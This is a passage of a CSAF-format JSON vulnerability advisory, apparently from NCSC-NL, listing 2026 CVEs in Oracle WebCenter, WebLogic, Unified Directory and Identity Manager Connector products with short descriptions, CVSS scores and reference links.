"summary": "CVE-2026-60947 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60947.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60947"
},
{
"cve": "CVE-2026-60949",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60949 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60949.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60949"
},
{
"cve": "CVE-2026-60954",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60954 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60954.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60954"
},
{
"cve": "CVE-2026-60955",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to unauthorizedly manipulate sensitive data and potentially cause partial denial of service, rated CVSS 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60955 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60955.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60955"
},
{
"cve": "CVE-2026-60958",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60958 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60958.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60958"
},
{
"cve": "CVE-2026-60961",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with network access to create, delete, or modify critical data, impacting confidentiality and integrity with a CVSS score of 8.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60961 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60961.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.0,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60961"
},
{
"cve": "CVE-2026-60969",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60969 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60969.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60969"
},
{
"cve": "CVE-2026-60970",
"notes": [
{
"category": "description",
"text": "A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60970 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60970.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60970"
},
{
"cve": "CVE-2026-60971",
"notes": [
{
"category": "description",
"text": "A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60971 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60971.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60971"
},
{
"cve": "CVE-2026-60977",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the server via RMI, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60977 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60977.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60977"
},
{
"cve": "CVE-2026-60980",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60980 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60980.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60980"
},
{
"cve": "CVE-2026-60981",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability (CVSS 8.7) in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged attackers with network access and user interaction to create, delete, or modify critical data unauthorizedly.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60981 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60981.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60981"
},
{
"cve": "CVE-2026-60983",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical or all accessible data, with a CVSS 3.1 base score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60983 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60983.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60983"
},
{
"cve": "CVE-2026-60990",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60990 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60990.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60990"
},
{
"cve": "CVE-2026-60991",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with infrastructure access to fully compromise the connector, with a CVSS 3.1 base score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60991 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60991.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60991"
},
{
"cve": "CVE-2026-60992",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated network attackers via TLS to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60992 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60992.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60992"
},
{
"cve": "CVE-2026-60993",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with physical network access to potentially compromise the component, scoring 7.5 on the CVSS 3.1 scale.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60993 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60993.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60993"
},
{
"cve": "CVE-2026-60994",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access and user interaction to potentially manipulate critical data, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60994 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60994.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60994"
},
{
"cve": "CVE-2026-60995",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60995 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60995.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
